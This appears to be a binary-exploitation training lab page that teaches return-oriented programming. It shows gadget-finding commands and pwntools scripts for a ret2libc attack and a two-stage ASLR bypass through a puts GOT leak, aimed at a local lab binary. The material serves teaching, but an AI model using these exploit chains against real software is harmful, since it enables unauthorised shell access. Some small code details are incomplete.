๐ŸŽฏ Lab Objectives

  • Understand why NX/DEP makes traditional shellcode injection impossible
  • Find ROP gadgets with ROPgadget and ropper
  • Build a basic ROP chain manually
  • Perform a ret2libc attack to call system("/bin/sh") without ASLR
  • Use a printf/puts leak to defeat ASLR in a two-stage exploit
  • Write a complete exploit script using pwntools

Topics Covered

  • DEP/NX protection โ€” why shellcode no longer works directly
  • Return-oriented programming โ€” chaining gadget sequences
  • Gadget types: pop/ret, mov, syscall, ret
  • Finding gadgets in the binary and libc
  • ret2libc technique without ASLR
  • ASLR bypass via information leaks (leak libc base)

Why ROP?

DEP/NX marks the stack as non-executable โ€” shellcode injected onto the stack will trigger a fault when jumped to. ROP solves this by chaining small existing code snippets ("gadgets") that end in a RET instruction. You control the stack and place gadget addresses followed by their arguments. The CPU executes them sequentially without ever running code from a data region.

Finding Gadgets

# ROPgadget
ROPgadget --binary ./vuln --rop | grep ": pop rdi ; ret"
ROPgadget --binary ./vuln --string "/bin/sh"

# ropper
ropper -f ./vuln --search "pop rdi"

# pwndbg checksec
checksec ./vuln   # shows NX, canary, PIE, RELRO status

ret2libc Without ASLR

from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi    = 0x401234     # from ROPgadget
bin_sh     = next(libc.search(b'/bin/sh'))
system     = libc.sym['system']
ret_gadget = 0x401235     # alignment gadget (required on x64)

payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret_gadget)
payload += p64(system)

Defeating ASLR With a Libc Leak

pop_rdi  = 0x401234
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_fn  = elf.sym['main']

# Stage 1: leak puts@GOT to get libc base
payload  = b'A' * offset
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_fn)   # return to main for stage 2

p = process('./vuln')
p.sendline(payload)
leak      = u64(p.recvline().strip().ljust(8, b''))
libc_base = leak - libc.sym['puts']

# Stage 2: call system("/bin/sh") with resolved addresses
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
โœ…
Lab Complete! Mark it done below and continue your learning path.
โ† All Labs
// guided terminal

Try It Live

Type the commands from the steps above. The terminal simulates the expected output for this lab.

KaliRange ~ Terminal type help for commands
๐Ÿ“–
Sign in to track progress